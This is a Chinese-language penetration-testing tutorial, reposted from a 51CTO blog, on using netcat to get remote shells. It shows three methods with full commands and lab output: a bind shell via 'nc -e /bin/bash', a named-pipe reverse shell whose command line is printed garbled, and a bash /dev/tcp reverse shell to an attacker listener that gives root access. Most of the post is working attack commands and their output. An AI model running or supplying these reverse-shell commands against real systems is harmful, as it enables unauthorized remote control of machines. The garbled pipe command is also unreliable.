nc帮助文档上面说的是TCP/IP协议中的swiss army knife,是一个使用tcp或udp协议通过网络连接来读写数据的一个简单的多功能的工具!在渗透中经常用于反弹shell,用于交互式执行shell,或者用于提权!
基本使用语法:
1
|
nc 选项 IP port
|
基本参数说明:
1
2
3
|
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,多数人喜欢使用-vv,但是我用了没看到有什么区别
|
第一种方法:
第一种的话需要目标主机直接就是外网独立ip才可以,如果是通过内网映射出来的,就不适用这个方法了!
目标主机:
1
|
nc -lvp 2222 -e
/bin/bash
|
1
2
|
root@kali:~
# nc -lvp 2222 -e /bin/bash
listening on [any] 2222 ...
|
攻击主机:
1
|
nc 目标机IP 2222
|
1
|
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc 192.168.5.128 2222
|
此时我们查看目标主机:
1
2
3
4
|
root@kali:~
# nc -lvp 2222 -e /bin/bash
listening on [any] 2222 ...
192.168.5.1: inverse host lookup failed: Unknown host
connect to [192.168.5.128] from (UNKNOWN) [192.168.5.1] 14960
|
此时我们在攻击机就可以执行命令了!
1
2
3
4
5
|
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc 192.168.5.128 2222
whoami
root
uname
-a
Linux kali 4.6.0-kali1-amd64
#1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
|
第二种方法:
第二种方法,需要我们有独立外网ip,用于监听返回来的shell!
目标主机:
1
2
|
root@kali:~
# mknod /tmp/backpipe p
root@kali:~
# /bin/sh 0/tmp/backpipe
|
攻击主机:
1
2
3
4
5
6
7
8
|
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222
lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53404: NO_DATA
whoami
root
uname
-a
Linux kali 4.6.0-kali1-amd64
#1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
|
第三种:
第三种方法需要我们有独立的外网ip,用于接收shell!
目标主机:
1
|
root@kali:~
# bash -i >& /dev/tcp/192.168.5.1/2222 0>&1
|
攻击主机:
1
2
3
4
5
6
7
8
9
10
11
|
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222
lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA
root@kali:~
# uname -a
uname
-a
Linux kali 4.6.0-kali1-amd64
#1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:~
# whoami
whoami
root
root@kali:~
#exit
|
本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1959264